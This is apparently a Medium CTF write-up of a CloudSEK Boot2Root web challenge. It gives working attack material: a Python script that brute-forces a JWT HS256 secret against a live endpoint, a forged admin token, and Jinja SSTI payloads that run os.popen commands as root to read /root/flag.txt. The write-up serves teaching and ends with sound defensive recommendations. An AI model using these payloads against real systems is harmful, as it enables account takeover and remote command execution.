โ† Back to list

๐Ÿš€ CloudSEK Round 2 CTF Write-Upโ€Šโ€”โ€ŠBoot2Root Challenge

Challenge

Ankit Kumar ยท 2025-12-15 04:32 ยท 0 claps ยท 4.3 min read
#cloudsek #ctf-writeup #ssti #boot2root
Open on Medium โ†—

๐Ÿš€ CloudSEK Round 2 CTF Write-Up โ€” Boot2Root Challenge

Challenge

๐Ÿดโ€โ˜ ๏ธ Challenge Overview

This challenge was a Boot2Root-style web exploitation lab, where the goal was to gain initial access, escalate privileges, and finally execute root-level commands to retrieve the flag.

The challenge tested skills in:

  • Source code analysis
  • JWT token manipulation
  • Cryptographic weakness exploitation
  • Server-Side Template Injection (SSTI)
  • Privilege escalation to root

๐Ÿ” Step 1: Credential Discovery via Source Code

The first step was basic reconnaissance.

While inspecting the page source, I discovered hardcoded credentials related to a user named:

username:flightoperator
password:GlowCloud!93

These credentials were directly usable and allowed me to successfully log into the application.

๐Ÿ”‘ Lesson: Never trust client-side secrecy โ€” credentials should never be exposed in frontend code.

๐Ÿงช Step 2: JavaScript Analysis (console.js)

After login, I analyzed the loaded JavaScript files, especially:

console.js

This file controlled

  • Session handling
  • Role-based UI access
  • Admin command execution logic

Key Observations

  • Session tokens were stored in sessionStorage
  • Role (guest / admin) was derived purely from JWT claims
  • Admin functionality was restricted only on the client side
  • A checksum function used for โ€œmessage integrityโ€ was fully exposed
window.hyperpulseChecksum = computeChecksum;

This immediately indicated client-side trust issues and potential for abuse.

๐Ÿ” Step 3: JWT Analysis & Token Forgery Opportunity

The application used JWT authentication with:

  • Algorithm: HS256
  • Shared secret for signing & verification
  • No backend validation of role claims

Because HS256 uses a symmetric secret, recovering the secret allows full token forgery.

๐Ÿ”“ Step 4: Brute-Forcing the JWT Secret

To recover the JWT signing secret, I wrote a Python script (bruteforce.py) that:

  • Generated admin JWTs
  • Signed them using candidates from the RockYou wordlist
  • Sent them to /api/session
  • Checked for a 200 OK response
import jwt
import requests
import time

URL = "http://15.206.47.5:8443/api/session"

payload = {
    "sub": "admin",
    "username": "admin",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

headers = {
    "alg": "HS256",
    "typ": "JWT"
}

found = False

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1", errors="ignore") as f:
    for i, secret in enumerate(f):
        secret = secret.strip()
        if not secret:
            continue

        try:
            token = jwt.encode(payload, secret, algorithm="HS256", headers=headers)
            r = requests.get(
                URL,
                headers={"Authorization": f"Bearer {token}"},
                timeout=3
            )

            if r.status_code == 200:
                print("\n๐Ÿ”ฅ SUCCESS ๐Ÿ”ฅ")
                print("SECRET:", secret)
                print("TOKEN:", token)
                found = True
                break

        except Exception:
            pass

        if i % 10000 == 0:
            print(f"[+] Tried {i} passwords...")

if not found:
    print("\nโŒ Finished RockYou โ€” no valid secret found")

Result ๐ŸŽฏ

The correct JWT secret was discovered as:

butterfly

This single weakness completely broke the authentication model.

๐Ÿช™ Step 5: Forging an Admin JWT

With the secret known, I generated a clean admin JWT using jwt1.py:

payload = {
    "sub": "admin",
    "username": "admin",
    "role": "admin"
}

Signed using:

HS256 + secret = butterfly

The forged token was injected into the browser:

sessionStorage.setItem("orbitalToken", "<ADMIN_JWT>");
location.reload();

โœ… The backend accepted the token โœ… The session role became admin

โš™๏ธ Step 6: Accessing the Admin Execution Endpoint

With admin privileges, I gained access to:

POST /api/admin/hyperpulse

This endpoint:

  • Executed instructions
  • Trusted a client-generated checksum
  • Returned execution output directly

Because the checksum algorithm was exposed, I could generate valid checksums for arbitrary payloads.

๐Ÿ› Step 7: Identifying Server-Side Template Injection (SSTI)

To test for SSTI, I submitted a harmless payload:

{{7*7}}

Response:

49

๐ŸŽฏ This confirmed:

  • The backend renders templates
  • User input is unsafely evaluated
  • SSTI vulnerability exists

๐Ÿ”ฅ Step 8: Escalating SSTI โ†’ Remote Command Execution

After confirming SSTI, I escalated to command execution using a known Jinja payload:

{{cycler.__init__.__globals__.os.popen('id').read()}}

Output:

uid=0(root) gid=1000(root) groups=1000(root)

๐Ÿšจ This confirmed:

  • Commands execute as root
  • No privilege dropping is enforced
  • Full system compromise is possible

๐Ÿ Step 9: Retrieving the Flag (Boot2Root Complete)

Final payload used:

{{cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read()}}

The contents of /root/flag.txt were returned in the response.

๐Ÿดโ€โ˜ ๏ธ Boot2Root successfully completed

๐Ÿ”— Full Attack Chain Summary

Exposed Credentials
        โ†“
User Login
        โ†“
Client-Side JS Analysis
        โ†“
JWT HS256 Misconfiguration
        โ†“
Secret Brute Force (RockYou)
        โ†“
Admin Token Forgery
        โ†“
Client-Side Checksum Abuse
        โ†“
Admin API Access
        โ†“
SSTI
        โ†“
Root Command Execution
        โ†“
FLAG ๐Ÿšฉ

๐Ÿง  Key Takeaways

This challenge demonstrated how multiple small issues, when chained together, can result in total system compromise:

  • Client-side trust of authorization
  • Weak JWT secrets
  • Symmetric JWT signing (HS256)
  • Exposed cryptographic logic
  • Unsafe template rendering
  • Root-level command execution

๐Ÿ” Security Recommendations

  • Use RS256 instead of HS256 for JWTs
  • Never trust role claims without backend verification
  • Never expose secrets or integrity algorithms to clients
  • Sanitize and escape all template inputs
  • Enforce least-privilege execution on backend services

๐ŸŽฏ Conclusion

CloudSEK Round 2 was an excellent realistic Boot2Root challenge, showcasing how improper authentication design and insecure coding practices can completely collapse application security.

A great learning experience that reinforced the importance of defense-in-depth and secure token handling.


๋ฉ”ํƒ€๋ฐ์ดํ„ฐ
post_id
96d0fdbd4b8b
slug
cloudsek-round-2-ctf-write-up-boot2root-challenge-96d0fdbd4b8b
url
https://medium.com/@0xH4ck3r_4k/cloudsek-round-2-ctf-write-up-boot2root-challenge-96d0fdbd4b8b
canonical_url
https://medium.com/@0xH4ck3r_4k/cloudsek-round-2-ctf-write-up-boot2root-challenge-96d0fdbd4b8b
author_url
https://medium.com/@0xH4ck3r_4k
status
ok
fetched_at
2026-07-14 20:36:01